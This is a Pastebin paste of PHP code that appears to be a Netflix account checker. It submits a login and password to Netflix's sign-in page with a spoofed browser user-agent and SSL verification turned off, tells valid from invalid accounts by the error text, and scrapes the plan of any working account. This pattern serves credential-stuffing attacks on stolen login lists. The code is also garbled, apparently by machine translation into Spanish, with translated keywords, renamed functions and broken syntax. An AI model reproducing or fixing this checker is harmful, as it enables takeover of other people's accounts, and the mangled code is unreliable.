Advertisement
Guest User

Untitled

a guest
Sep 16th, 2014
436
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $ Res = cheque ("username", "password", $ info);
  2. if ($ res) {
  3.     echo "de trabajo de la cuenta:" $ info,.
  4. }
  5.  
  6. control de funcionamiento ($ logLogin, $ logPassword, & $ info)
  7.     $ Url = "https://signup.netflix.com/Login";
  8.     $ Content = rot ($ url, "", 0,1);
  9.     $ Token = get_between ($ contenido, "name =" AuthURL "value =" ',' "');
  10.    $ Url = "https://signup.netflix.com/Login";
  11.     . $ Datos = "AuthURL =" $ Token "y correo electrónico =" urlencode (trim ($ logLogin)) "y la contraseña =" urlencode (trim ($ logPassword))....;
  12.     $ Content = rizo ($ url, $ data, 0,1, "", "", 0);
  13.     if (preg_match ('% no coincide con una cuenta en nuestro registros%', $ contenido)) {
  14.         return 0;
  15.     } Else {
  16.         $ Url = "https://www.netflix.com/YourAccount?lnkctr=mhSS";
  17.         $ Content = rot ($ url, "", 0,1, "", "", 0);
  18.         $ Info = get_between ($ content, 'plandesc "> <strong>", "</ strong>');
  19.         return 1;
  20.     }
  21. }
  22.  
  23. get_between función ($ string, $ inicio, $ end) {
  24.     $ String = "" $ cadena.;
  25.     $ Ini = strpos ($ string, $ start);
  26.     if ($ ini == 0) return "";
  27.     $ Ini + = strlen ($ start);
  28.     $ Len = strpos ($ string, $ end, ini $) - $ ini;
  29.     volver substr ($ cadena, $ ini, $ len);
  30. }
  31.  
  32. función de rizo ($ url, $ campos = "", $ ssl = 0, $ followLocation = 0, $ árbitro = '', $ optUrl = '', $ deleteOldCookies 1 =) {
  33.     $ Ch = curl_init ($ url);
  34.     $ Header = array ();
  35.     $ Header [0] = "Accept: text / xml, application / xml, application / xhtml + xml";
  36.     $ Header [0] =. "Text / html; q = 0,9, text / plain; q = 0,8, image / jpeg, * / *; q = 0,5";
  37.     $ Header [] = "Cache-Control: max-age = 0";
  38.     $ Header [] = "Connection: keep-alive";
  39.     $ Header [] = "Keep-Alive: 300";
  40.     $ Header [] = "Accept-Charset: ISO-8859-1, UTF-8, q = 0,7, *; q = 0,7";
  41.     $ Header [] = "Accept-Language: es-es, es; q = 0,5";
  42.     $ Header [] = "Pragma:"; // navegadores mantener este espacio en blanco.
  43.     curl_setopt ($ ch, CURLOPT_USERAGENT, 'Mozilla / 5.0 (Windows; U; Windows NT 5.2; en-US; rv: 1.8.1.7) Gecko / 20070914 Firefox / 2.0.0.7');
  44.     curl_setopt ($ ch, CURLOPT_HTTPHEADER, $ header);
  45.     if ($ deleteOldCookies) {
  46.         file_put_contents ("cookie.txt", ""); // Intente eliminar la cookie de previsualización
  47.     }
  48.     curl_setopt ($ ch, CURLOPT_COOKIEJAR, "cookie.txt");
  49.     curl_setopt ($ ch, CURLOPT_COOKIEFILE, "cookie.txt");
  50.     curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true);
  51.     curl_setopt ($ ch, CURLOPT_AUTOREFERER, true);
  52.     if ($ followLocation) {
  53.         curl_setopt ($ ch, CURLOPT_FOLLOWLOCATION, true);
  54.     }
  55.     curl_setopt ($ ch, CURLOPT_URL, $ url);
  56.     if ($ campos) {
  57.         curl_setopt ($ ch, CURLOPT_POST, true);
  58.         curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ campos);
  59.     } Else {
  60.         curl_setopt ($ ch, CURLOPT_POST, false);
  61.     }
  62.     if ($ árbitro) {
  63.         curl_setopt ($ ch, CURLOPT_REFERER, $ árbitro);
  64.     } Else {
  65.         curl_setopt ($ ch, CURLOPT_REFERER, $ url);
  66.     }
  67.     if ($ ssl) {
  68.         curl_setopt ($ ch, CURLOPT_SSL_VERIFYPEER, true);
  69.     } Else {
  70.         curl_setopt ($ ch, CURLOPT_SSL_VERIFYPEER, false);
  71.     }
  72.     if ($ optUrl) {
  73.         curl_setopt ($ ch, CURLOPT_URL, $ optUrl);
  74.     }
  75.     volver curl_exec ($ ch);
  76. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement